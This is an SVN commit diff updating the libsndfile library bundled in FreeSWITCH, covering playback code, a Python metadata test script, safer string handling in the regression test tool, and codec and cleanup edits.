+
+		audio_data.whdr [0].dwFlags = 0 ;
+		audio_data.whdr [1].dwFlags = 0 ;
+
+		/* length of each audio buffer in samples */
+		audio_data.bufferlen = sizeof (audio_data.buffer) / 2 / sizeof (short) ;
+
+		/* Prepare the WAVEHDRs */
+		if ((error = waveOutPrepareHeader (audio_data.hwave, &(audio_data.whdr [0]), sizeof (WAVEHDR))))
+		{	printf ("waveOutPrepareHeader [0] failed : %08X\n", error) ;
+			waveOutClose (audio_data.hwave) ;
+			continue ;
+			} ;
+
+		if ((error = waveOutPrepareHeader (audio_data.hwave, &(audio_data.whdr [1]), sizeof (WAVEHDR))))
+		{	printf ("waveOutPrepareHeader [1] failed : %08X\n", error) ;
+			waveOutUnprepareHeader (audio_data.hwave, &(audio_data.whdr [0]), sizeof (WAVEHDR)) ;
+			waveOutClose (audio_data.hwave) ;
+			continue ;
+			} ;
+
+		/* Fill up both buffers with audio data */
+		audio_data.BuffersInUse = 0 ;
+		win32_play_data (&audio_data) ;
+		win32_play_data (&audio_data) ;
+
+		/* loop until both buffers are released */
+		while (audio_data.BuffersInUse > 0)
+		{
+			/* wait for buffer to be released */
+			WaitForSingleObject (audio_data.Event, INFINITE) ;
+
+			/* refill the buffer if there is more data to play */
+			win32_play_data (&audio_data) ;
+			} ;
+
+		waveOutUnprepareHeader (audio_data.hwave, &(audio_data.whdr [0]), sizeof (WAVEHDR)) ;
+		waveOutUnprepareHeader (audio_data.hwave, &(audio_data.whdr [1]), sizeof (WAVEHDR)) ;
+
+		waveOutClose (audio_data.hwave) ;
+		audio_data.hwave = 0 ;
+
+		DeleteCriticalSection (&audio_data.mutex) ;
+
+		sf_close (audio_data.sndfile) ;
+		} ;
+
+} /* win32_play */
+
+#endif /* Win32 */
+
+/*------------------------------------------------------------------------------
+**	Solaris.
+*/
+
+#if (defined (sun) && defined (unix)) /* ie Solaris */
+
+static void
+solaris_play (int argc, char *argv [])
+{	static short 	buffer [BUFFER_LEN] ;
+	audio_info_t	audio_info ;
+	SNDFILE			*sndfile ;
+	SF_INFO			sfinfo ;
+	unsigned long	delay_time ;
+	long			k, start_count, output_count, write_count, read_count ;
+	int				audio_fd, error, done ;
+
+	for (k = 1 ; k < argc ; k++)
+	{	printf ("Playing %s\n", argv [k]) ;
+		if (! (sndfile = sf_open (argv [k], SFM_READ, &sfinfo)))
+		{	puts (sf_strerror (NULL)) ;
+			continue ;
+			} ;
+
+		if (sfinfo.channels < 1 || sfinfo.channels > 2)
+		{	printf ("Error : channels = %d.\n", sfinfo.channels) ;
+			continue ;
+			} ;
+
+		/* open the audio device - write only, non-blocking */
+		if ((audio_fd = open ("/dev/audio", O_WRONLY | O_NONBLOCK)) < 0)
+		{	perror ("open (/dev/audio) failed") ;
+			return ;
+			} ;
+
+		/*	Retrive standard values. */
+		AUDIO_INITINFO (&audio_info) ;
+
+		audio_info.play.sample_rate = sfinfo.samplerate ;
+		audio_info.play.channels = sfinfo.channels ;
+		audio_info.play.precision = 16 ;
+		audio_info.play.encoding = AUDIO_ENCODING_LINEAR ;
+		audio_info.play.gain = AUDIO_MAX_GAIN ;
+		audio_info.play.balance = AUDIO_MID_BALANCE ;
+
+		if ((error = ioctl (audio_fd, AUDIO_SETINFO, &audio_info)))
+		{	perror ("ioctl (AUDIO_SETINFO) failed") ;
+			return ;
+			} ;
+
+		/* Delay time equal to 1/4 of a buffer in microseconds. */
+		delay_time = (BUFFER_LEN * 1000000) / (audio_info.play.sample_rate * 4) ;
+
+		done = 0 ;
+		while (! done)
+		{	read_count = sf_read_short (sndfile, buffer, BUFFER_LEN) ;
+			if (read_count < BUFFER_LEN)
+			{	memset (&(buffer [read_count]), 0, (BUFFER_LEN - read_count) * sizeof (short)) ;
+				/* Tell the main application to terminate. */
+				done = SF_TRUE ;
+				} ;
+
+			start_count = 0 ;
+			output_count = BUFFER_LEN * sizeof (short) ;
+
+			while (output_count > 0)
+			{	/* write as much data as possible */
+				write_count = write (audio_fd, &(buffer [start_count]), output_count) ;
+				if (write_count > 0)
+				{	output_count -= write_count ;
+					start_count += write_count ;
+					}
+				else
+				{	/*	Give the audio output time to catch up. */
+					usleep (delay_time) ;
+					} ;
+				} ; /* while (outpur_count > 0) */
+			} ; /* while (! done) */
+
+		close (audio_fd) ;
+		} ;
+
+	return ;
+} /* solaris_play */
+
+#endif /* Solaris */
+
+/*==============================================================================
+**	Main function.
+*/
+
+int
+main (int argc, char *argv [])
+{
+	if (argc < 2)
+	{
+		printf ("\nUsage : %s <input sound file>\n\n", argv [0]) ;
+#if (OS_IS_WIN32 == 1)
+		printf ("This is a Unix style command line application which\n"
+				"should be run in a MSDOS box or Command Shell window.\n\n") ;
+		printf ("Sleeping for 5 seconds before exiting.\n\n") ;
+
+		/* This is the officially blessed by microsoft way but I can't get
+		** it to link.
+		**     Sleep (15) ;
+		** Instead, use this:
+		*/
+		Sleep (5 * 1000) ;
+#endif
+		return 1 ;
+		} ;
+
+#if defined (__linux__)
+	#if HAVE_ALSA_ASOUNDLIB_H
+		if (access ("/proc/asound/cards", R_OK) == 0)
+			alsa_play (argc, argv) ;
+		else
+	#endif
+		linux_play (argc, argv) ;
+#elif (defined (__MACH__) && defined (__APPLE__))
+	macosx_play (argc, argv) ;
+#elif (defined (sun) && defined (unix))
+	solaris_play (argc, argv) ;
+#elif (OS_IS_WIN32 == 1)
+	win32_play (argc, argv) ;
+#elif defined (__BEOS__)
+	printf ("This program cannot be compiled on BeOS.\n") ;
+	printf ("Instead, compile the file sfplay_beos.cpp.\n") ;
+	return 1 ;
+#else
+	puts ("*** Playing sound not yet supported on this platform.") ;
+	puts ("*** Please feel free to submit a patch.") ;
+	return 1 ;
+#endif
+
+	return 0 ;
+} /* main */
+

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/test-sndfile-metadata-set.py

Copied: freeswitch/branches/seven/libs/libsndfile/programs/test-sndfile-metadata-set.py (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/test-sndfile-metadata-set.py) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/test-sndfile-metadata-set.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/test-sndfile-metadata-set.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,187 @@
+#!/usr/bin/python
+
+# Copyright (C) 2008 Erik de Castro Lopo <erikd@mega-nerd.com>
+#
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are
+# met:
+#
+#     * Redistributions of source code must retain the above copyright
+#       notice, this list of conditions and the following disclaimer.
+#     * Redistributions in binary form must reproduce the above copyright
+#       notice, this list of conditions and the following disclaimer in
+#       the documentation and/or other materials provided with the
+#       distribution.
+#     * Neither the author nor the names of any contributors may be used
+#       to endorse or promote products derived from this software without
+#       specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+# TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Simple test script for the sndfile-metadata-set program.
+
+import commands, os, sys
+import time, datetime
+
+def print_test_name (name):
+	print "    %-30s :" % name,
+
+def assert_info (filename, arg, value):
+	cmd = "./sndfile-metadata-get %s %s" % (arg, filename)
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	if output.find (value) < 0:
+		print "\n\nError : not able to find '%s'." % value
+		print output
+		sys.exit (1)
+	return
+
+
+def check_executable (name):
+	if not (os.path.isfile (name)):
+		print "\n\nError : Can't find executable '%s'. Have you run make?" % name
+		sys.exit (1)
+
+def test_empty_fail ():
+	print_test_name ("Empty fail test")
+	cmd = "./sndfile-metadata-set --bext-description Alpha sine.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if not status:
+		print "\n\nError : command '%s' should have failed." % cmd
+		sys.exit (1)
+	print "ok"
+
+def test_copy ():
+	print_test_name ("Copy test")
+	cmd = "./sndfile-metadata-set --bext-description \"First Try\" sine.wav output.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	assert_info ("output.wav", "--bext-description", "First Try")
+	print "ok"
+
+def test_update (tests):
+	print_test_name ("Update test")
+	for arg, value in tests:
+		cmd = "./sndfile-metadata-set %s \"%s\" output.wav" % (arg, value)
+		status, output = commands.getstatusoutput (cmd)
+		if status:
+			print "\n\nError : command '%s' should not have failed." % cmd
+			sys.exit (1)
+		assert_info ("output.wav", arg, value)
+	print "ok"
+
+def test_post_mod (tests):
+	print_test_name ("Post mod test")
+	for arg, value in tests:
+		assert_info ("output.wav", arg, value)
+	print "ok"
+
+def test_auto_date ():
+	print_test_name ("Auto date test")
+	cmd = "./sndfile-metadata-set --bext-auto-time-date sine.wav date-time.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	target = datetime.date.today ().__str__ ()
+	assert_info ("date-time.wav", "--bext-orig-date", target)
+	print "ok"
+
+
+#-------------------------------------------------------------------------------
+
+def test_coding_history ():
+	print_test_name ("Coding history test")
+	cmd = "./sndfile-metadata-set --bext-coding-hist \"alpha beta\" output.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	cmd = "./sndfile-metadata-get --bext-coding-hist output.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	print "ok"
+
+#-------------------------------------------------------------------------------
+
+def test_rewrite ():
+	print_test_name ("Rewrite test")
+	cmd = "./sndfile-metadata-set --bext-originator \"Really, really long string\" output.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	cmd = "./sndfile-metadata-set --bext-originator \"Short\" output.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	cmd = "./sndfile-metadata-get --bext-originator output.wav"
+	status, output = commands.getstatusoutput (cmd)
+	if status:
+		print "\n\nError : command '%s' should not have failed." % cmd
+		sys.exit (1)
+	if output.find ("really long") > 0:
+		print "\n\nError : output '%s' should not contain 'really long'." % output
+		sys.exit (1)
+	print "ok"
+
+#===============================================================================
+
+test_dir = "programs"
+
+if os.path.isdir (test_dir):
+	os.chdir (test_dir)
+
+for f in [ "sndfile-metadata-set", "sndfile-metadata-get", "../examples/make_sine" ]:
+	check_executable (f)
+
+os.system ("../examples/make_sine")
+if not os.path.isfile ("sine.wav"):
+	print "\n\nError : Can't file file 'sine.wav'."
+	sys.exit (1)
+
+print ""
+
+test_empty_fail ()
+test_copy ()
+
+tests = [
+	("--bext-description", "Alpha"), ("--bext-originator", "Beta"), ("--bext-orig-ref", "Charlie"),
+	("--bext-umid", "Delta"), ("--bext-orig-date", "2001-10-01"),  ("--bext-orig-time", "01:02:03"),
+	("--str-title", "Echo"), ("--str-artist", "Fox trot")
+	]
+
+test_auto_date ()
+test_update (tests)
+test_post_mod (tests)
+
+test_update ([ ("--str-artist", "Fox") ])
+
+test_coding_history ()
+
+test_rewrite ()
+
+
+print ""
+
+sys.exit (0)
+

Modified: freeswitch/branches/seven/libs/libsndfile/regtest/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/regtest/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/regtest/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,15 +4,8 @@
 
 noinst_HEADERS = regtest.h
 
-SNDFILEDIR =../src
-INCLUDES = -I$(srcdir)/$(SNDFILEDIR) $(OS_SPECIFIC_CFLAGS)
+INCLUDES = -I$(top_srcdir)/src $(SQLITE3_CFLAGS) $(OS_SPECIFIC_CFLAGS)
 
 sndfile_regtest_SOURCES = sndfile-regtest.c database.c checksum.c
-sndfile_regtest_LDADD = $(SNDFILEDIR)/libsndfile.la $(SQLITE3_LIBS)
+sndfile_regtest_LDADD = $(top_builddir)/src/libsndfile.la $(SQLITE3_LIBS)
 
-
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch
-## revision control system.
-##
-## arch-tag: ac4a9626-49ce-4bb4-9fb6-e43de0a23432

Modified: freeswitch/branches/seven/libs/libsndfile/regtest/checksum.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/regtest/checksum.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/regtest/checksum.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-**	Copyright (C) 2005 Erik de Castro Lopo
+**	Copyright (C) 2005-2009 Erik de Castro Lopo
 **
 **	This program is free software; you can redistribute it and/or modify
 **	it under the terms of the GNU General Public License as published by
@@ -20,16 +20,15 @@
 **	A simple checksum for short, int and float data.
 */
 
-#include "config.h"
+#include "sfconfig.h"
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <math.h>
 
 #include <sndfile.h>
 
-#include "float_cast.h"
-
 #include "regtest.h"
 
 #define	BIG_PRIME		999983
@@ -116,10 +115,3 @@
 	return start ;
 } /* float_checksum */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 6ae999d1-dd5a-4306-9e11-d4cfc9e8ae27
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/regtest/database.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/regtest/database.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/regtest/database.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-**	Copyright (C) 2005 Erik de Castro Lopo
+**	Copyright (C) 2005-2009 Erik de Castro Lopo
 **
 **	This program is free software; you can redistribute it and/or modify
 **	it under the terms of the GNU General Public License as published by
@@ -185,8 +185,8 @@
 
 	snprintf (db->cmdbuf, sizeof (db->cmdbuf), "insert into sndfile "
 		"(fname, fpath, srate, frames, channels, format, checksum, logbuf) values"
-		"('%s','%s',%d,'%lld', %d, '0x%08x', '0x%08x', '%s');",
-		db->filename, db->pathname, info.samplerate, info.frames, info.channels, info.format, checksum, db->logbuf) ;
+		"('%s','%s',%d,'%ld', %d, '0x%08x', '0x%08x', '%s');",
+		db->filename, db->pathname, info.samplerate, (long) info.frames, info.channels, info.format, checksum, db->logbuf) ;
 
 	if (strlen (db->cmdbuf) >= sizeof (db->cmdbuf) - 1)
 	{	printf ("strlen (db->cmdbuf) too long.\n") ;
@@ -311,8 +311,8 @@
 		exit (1) ;
 		} ;
 
-	strncpy (db->filename, result [2], sizeof (db->filename)) ;
-	strncpy (db->pathname, result [3], sizeof (db->pathname)) ;
+	snprintf (db->filename, sizeof (db->filename), "%s", result [2]) ;
+	snprintf (db->pathname, sizeof (db->pathname), "%s", result [3]) ;
 
 	sqlite3_free_table (result) ;
 
@@ -368,7 +368,7 @@
 		if (strcmp (result [k], "frames") == 0)
 		{	if (strtoll (result [k + cols], NULL, 10) == info.frames)
 				continue ;
-			printf ("\n\nError : frames doesn't match : %s == %lld\n", result [k + cols], info.frames) ;
+			printf ("\n\nError : frames doesn't match : %s == %ld\n", result [k + cols], (long) info.frames) ;
 			} ;
 
 		if (strcmp (result [k], "channels") == 0)
@@ -411,6 +411,7 @@
 static void
 get_filename_pathname (REGTEST_DB * db, const char *filepath)
 {	const char * cptr ;
+	int slen ;
 
 	if (filepath [0] != '/')
 	{	memset (db->pathname, 0, sizeof (db->pathname)) ;
@@ -419,18 +420,19 @@
 			exit (1) ;
 			} ;
 
-		db->pathname [strlen (db->pathname)] = '/' ;
-		strncat (db->pathname, filepath, sizeof (db->pathname)) ;
+		slen = strlen (db->pathname) ;
+		db->pathname [slen ++] = '/' ;
+		snprintf (db->pathname + slen, sizeof (db->pathname) - slen, "%s", filepath) ;
 		}
 	else
-		strncpy (db->pathname, filepath, sizeof (db->pathname)) ;
+		snprintf (db->pathname, sizeof (db->pathname), "%s", filepath) ;
 
 	if ((cptr = strrchr (db->pathname, '/')) == NULL)
 	{	printf ("\nError : bad pathname %s\n", filepath) ;
 		exit (1) ;
 		} ;
 
-	strncpy (db->filename, cptr + 1, sizeof (db->filename)) ;
+	snprintf (db->filename, sizeof (db->filename), "%s", cptr + 1) ;
 } /* get filename_pathname */
 
 static void
@@ -443,9 +445,9 @@
 count_callback (REGTEST_DB * db, int argc, char **argv, char **colname)
 {	db->count ++ ;
 
-	argc = 0 ;
-	argv = NULL ;
-	colname = NULL ;
+	(void) argc ;
+	(void) argv ;
+	(void) colname ;
 	return 0 ;
 } /* count_callback */
 
@@ -453,8 +455,8 @@
 ekey_max_callback (REGTEST_DB * db, int argc, char **argv, char **unused)
 {	int ekey ;
 
-	argc = 0 ;
-	unused = NULL ;
+	(void) argc ;
+	(void) unused ;
 
 	ekey = strtol (argv [0], NULL, 10) ;
 	if (ekey > db->ekey_max)
@@ -467,7 +469,7 @@
 callback (void *unused, int argc, char **argv, char **colname)
 {	int k ;
 
-	unused = NULL ;
+	(void) unused ;
 
 	for (k = 0 ; k < argc ; k++)
 		printf ("%s = %s\n", colname [k], argv [k] ? argv [k] : "NULL") ;
@@ -491,12 +493,3 @@
 } /* dummy */
 
 #endif
-
-
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: c6bcb7cb-0d9e-47b6-a89a-66304df4d462
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/regtest/regtest.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/regtest/regtest.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/regtest/regtest.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,10 +36,3 @@
 /* In checksum.c */
 int calc_checksum (SNDFILE * file, const SF_INFO * info) ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 80138e38-f373-48d3-8152-7f7882a62cd7
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/regtest/sndfile-regtest.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/regtest/sndfile-regtest.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/regtest/sndfile-regtest.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-**	Copyright (C) 2005 Erik de Castro Lopo
+**	Copyright (C) 2005-2009 Erik de Castro Lopo
 **
 **	This program is free software; you can redistribute it and/or modify
 **	it under the terms of the GNU General Public License as published by
@@ -119,10 +119,3 @@
 
 #endif
 
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 7f318f08-9bfa-4249-856d-fe994819bdce
-*/

Property changes: freeswitch/branches/seven/libs/libsndfile/src


Name: svn:ignore
   - config.h.in
Makefile.in
test_file_io
test_log_printf
sndfile.h
config.h
.deps
Makefile
test_endswap
.libs
stamp-h1
   + config.h.in
Makefile.in
test_file_io
test_log_printf
sndfile.h
config.h
.deps
Makefile
test_endswap
.libs
stamp-h1
test_main

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,15 +14,9 @@
 g72x_test_SOURCES = g72x_test.c
 g72x_test_LDADD = ./libg72x.la -lm
 
-check: g72x_test
-	./g72x_test all
+check: g72x_test$(EXEEXT)
+	./g72x_test$(EXEEXT) all
 
 # Disable autoheader.
 AUTOHEADER=echo
 
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: d417a8e8-da7f-423d-884d-f03c93379348
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g721.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g721.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g721.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -152,11 +152,4 @@
 	/* sr was 14-bit dynamic range */
 	return (sr << 2);	
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 101b6e25-457d-490a-99ae-e2e74a26ea24
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_16.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_16.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_16.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -159,11 +159,4 @@
 		/* sr was of 14-bit dynamic range */
 		return (sr << 2);       
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: ae265466-c3fc-4f83-bb32-edae488a5ca5
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_24.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_24.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_24.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -136,11 +136,4 @@
 
 	return (sr << 2);	/* sr was of 14-bit dynamic range */
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 75389236-650b-4427-98f3-0df6e8fb24bc
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_40.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_40.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g723_40.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -150,11 +150,4 @@
 
 	return (sr << 2);	/* sr was of 14-bit dynamic range */
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: eb8d9a00-32bf-4dd2-b287-01b0336d72bf
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -87,12 +87,12 @@
 
 	/*
 	** The original was :
-	**		wanmant = (anmant * (srn & 0x37) + 0x30) >> 4 ;
+	**		wanmant = (anmant * (srn & 0x3F) + 0x30) >> 4 ;
 	** but could see no valid reason for the + 0x30.
 	** Removed it and it improved the SNR of the codec.
 	*/
 
-	wanmant = (anmant * (srn & 0x37)) >> 4 ;
+	wanmant = (anmant * (srn & 0x3F)) >> 4 ;
 
 	retval = (wanexp >= 0) ? ((wanmant << wanexp) & 0x7FFF) :
 	    (wanmant >> -wanexp);
@@ -642,11 +642,3 @@
 	return bindex ;
 } /* pack_bytes */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 6298dc75-fd0f-4062-9b90-f73ed69f22d4
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -89,11 +89,3 @@
 
 #endif /* !G72X_HEADER_FILE */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 6ca84e5f-f932-4ba1-87ee-37056d921621
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x_priv.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x_priv.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x_priv.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -107,12 +107,3 @@
 void private_init_state (G72x_STATE *state_ptr) ;
 
 #endif /* G72X_PRIVATE_H */
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: d9ad4da7-0fa3-471d-8020-720b5cfb5e5b
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/G72x/g72x_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **  
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -212,11 +212,3 @@
 	return 0 ;
 } /* oct_save_short */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 0597b442-a5b0-4abf-92a4-92f6c24e85a6
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -13,9 +13,4 @@
 # Disable autoheader. 
 AUTOHEADER=echo
 
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: ba91ffbe-9d1d-4044-a1de-e8ee2f890560
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/add.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/add.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/add.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,7 +12,6 @@
 #include	<assert.h>
 
 #include	"gsm610_priv.h"
-#include	"gsm.h"
 
 #define	saturate(x) 	\
 	((x) < MIN_WORD ? MIN_WORD : (x) > MAX_WORD ? MAX_WORD: (x))
@@ -238,11 +237,4 @@
 
 	return div;
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: a7398579-e2e1-4733-aa2d-4c6efc0c58ff
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/code.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/code.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/code.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -8,10 +8,7 @@
 #include	<stdlib.h>
 #include	<string.h>
 
-#include	"config.h"
-
 #include	"gsm610_priv.h"
-#include	"gsm.h"
 
 /* 
  *  4.2 FIXED POINT IMPLEMENTATION OF THE RPE-LTP CODER 
@@ -73,7 +70,7 @@
 					  xmaxc++, Mc++, xMc );
 		/*
 		 * Gsm_Update_of_reconstructed_short_time_residual_signal
-		 *			( dpp, e + 5, dp );
+		 *			( dpp, State->e + 5, dp );
 		 */
 
 		{ register int i;
